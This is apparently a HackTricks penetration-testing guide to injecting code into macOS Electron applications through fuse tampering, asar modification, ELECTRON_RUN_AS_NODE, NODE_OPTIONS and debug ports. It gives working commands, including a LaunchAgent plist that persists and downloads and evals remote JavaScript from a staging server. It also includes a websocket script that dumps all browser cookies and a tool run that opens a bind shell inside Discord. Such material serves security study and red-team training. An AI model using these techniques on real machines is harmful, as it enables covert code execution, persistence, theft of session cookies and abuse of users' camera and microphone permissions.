16 KiB
macOS Electron Applications Injection
{% hint style="success" %}
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Basic Information
If you don't know what Electron is you can find lots of information here. But for now just know that Electron runs node.
And node has some parameters and env variables that can be use to make it execute other code apart from the indicated file.
Electron Fuses
These techniques will be discussed next, but in recent times Electron has added several security flags to prevent them. These are the Electron Fuses and these are the ones used to prevent Electron apps in macOS from loading arbitrary code:
RunAsNode
: If disabled, it prevents the use of the env varELECTRON_RUN_AS_NODE
to inject code.EnableNodeCliInspectArguments
: If disabled, params like--inspect
,--inspect-brk
won't be respected. Avoiding his way to inject code.EnableEmbeddedAsarIntegrityValidation
: If enabled, the loadedasar
file will be validated by macOS. Preventing this way code injection by modifying the contents of this file.OnlyLoadAppFromAsar
: If this is enabled, instead of searching to load in the following order:app.asar
,app
and finallydefault_app.asar
. It will only check and use app.asar, thus ensuring that when combined with theembeddedAsarIntegrityValidation
fuse it is impossible to load non-validated code.LoadBrowserProcessSpecificV8Snapshot
: If enabled, the browser process uses the file calledbrowser_v8_context_snapshot.bin
for its V8 snapshot.
Another interesting fuse that won't be preventing code injection is:
- EnableCookieEncryption: If enabled, the cookie store on disk is encrypted using OS level cryptography keys.
Checking Electron Fuses
You can check these flags from an application with:
npx @electron/fuses read --app /Applications/Slack.app
Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
Modifying Electron Fuses
As the docs mention, the configuration of the Electron Fuses are configured inside the Electron binary which contains somewhere the string dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX
.
In macOS applications this is typically in application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
You could load this file in https://hexed.it/ and search for the previous string. After this string you can see in ASCII a number "0" or "1" indicating if each fuse is disabled or enabled. Just modify the hex code (0x30
is 0
and 0x31
is 1
) to modify the fuse values.
Note that if you try to overwrite the Electron Framework
binary inside an application with these bytes modified, the app won't run.
RCE adding code to Electron Applications
There could be external JS/HTML files that an Electron App is using, so an attacker could inject code in these files whose signature won't be checked and execute arbitrary code in the context of the app.
{% hint style="danger" %} However, at the moment there are 2 limitations:
- The
kTCCServiceSystemPolicyAppBundles
permission is needed to modify an App, so by default this is no longer possible. - The compiled
asap
file usually has the fusesembeddedAsarIntegrityValidation
and
onlyLoadAppFromAsar
enabled
Making this attack path more complicated (or impossible). {% endhint %}
Note that it's possible to bypass the requirement of kTCCServiceSystemPolicyAppBundles
by copying the application to another directory (like /tmp
), renaming the folder app.app/Contents
to app.app/NotCon
, modifying the asar file with your malicious code, renaming it back to app.app/Contents
and executing it.
You can unpack the code from the asar file with:
npx asar extract app.asar app-decomp
And pack it back after having modified it with:
npx asar pack app-decomp app-new.asar
RCE with ELECTRON_RUN_AS_NODE
According to the docs, if this env variable is set, it will start the process as a normal Node.js process.
{% code overflow="wrap" %}
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
{% hint style="danger" %}
If the fuse RunAsNode
is disabled the env var ELECTRON_RUN_AS_NODE
will be ignored, and this won't work.
{% endhint %}
Injection from the App Plist
As proposed here, you could abuse this env variable in a plist to maintain persistence:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
RCE with NODE_OPTIONS
You can store the payload in a different file and execute it:
{% code overflow="wrap" %}
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
{% endcode %}
{% hint style="danger" %}
If the fuse EnableNodeOptionsEnvironmentVariable
is disabled, the app will ignore the env var NODE_OPTIONS when launched unless the env variable ELECTRON_RUN_AS_NODE
is set, which will be also ignored if the fuse RunAsNode
is disabled.
If you don't set ELECTRON_RUN_AS_NODE
, you will find the error: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.
{% endhint %}
Injection from the App Plist
You could abuse this env variable in a plist to maintain persistence adding these keys:
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
RCE with inspecting
According to this, if you execute an Electron application with flags such as --inspect
, --inspect-brk
and --remote-debugging-port
, a debug port will be open so you can connect to it (for example from Chrome in chrome://inspect
) and you will be able to inject code on it or even launch new processes.
For example:
{% code overflow="wrap" %}
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
{% endcode %}
{% hint style="danger" %}
If the fuse EnableNodeCliInspectArguments
is disabled, the app will ignore node parameters (such as --inspect
) when launched unless the env variable ELECTRON_RUN_AS_NODE
is set, which will be also ignored if the fuse RunAsNode
is disabled.
However, you could still use the electron param --remote-debugging-port=9229
but the previous payload won't work to execute other processes.
{% endhint %}
Using the param --remote-debugging-port=9222
it's possible to steal some information from the Electron App like the history (with GET commands) or the cookies of the browser (as they are decrypted inside the browser and there is a json endpoint that will give them).
You can learn how to do that in here and here and use the automatic tool WhiteChocolateMacademiaNut or a simple script like:
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
In this blogpost, this debugging is abused to make a headless chrome download arbitrary files in arbitrary locations.
Injection from the App Plist
You could abuse this env variable in a plist to maintain persistence adding these keys:
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
TCC Bypass abusing Older Versions
{% hint style="success" %} The TCC daemon from macOS doesn't check the executed version of the application. So if you cannot inject code in an Electron application with any of the previous techniques you could download a previous version of the APP and inject code on it as it will still get the TCC privileges (unless Trust Cache prevents it). {% endhint %}
Run non JS Code
The previous techniques will allow you to run JS code inside the process of the electron application. However, remember that the child processes run under the same sandbox profile as the parent application and inherit their TCC permissions.
Therefore, if you want to abuse entitlements to access the camera or microphone for example, you could just run another binary from the process.
Automatic Injection
The tool electroniz3r can be easily used to find vulnerable electron applications installed and inject code on them. This tool will try to use the --inspect
technique:
You need to compile it yourself and can use it like this:
# Find electron apps
./electroniz3r list-apps
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Bundle identifier │ Path ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop /Applications/Signal.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.ledger.live /Applications/Ledger Live.app
com.postmanlabs.mac /Applications/Postman.app
com.tinyspeck.slackmacgap /Applications/Slack.app
com.hnc.Discord /Applications/Discord.app
# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"
/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`
# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
References
- https://www.electronjs.org/docs/latest/tutorial/fuses
- https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks
- https://m.youtube.com/watch?v=VWQY5R2A6X8
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.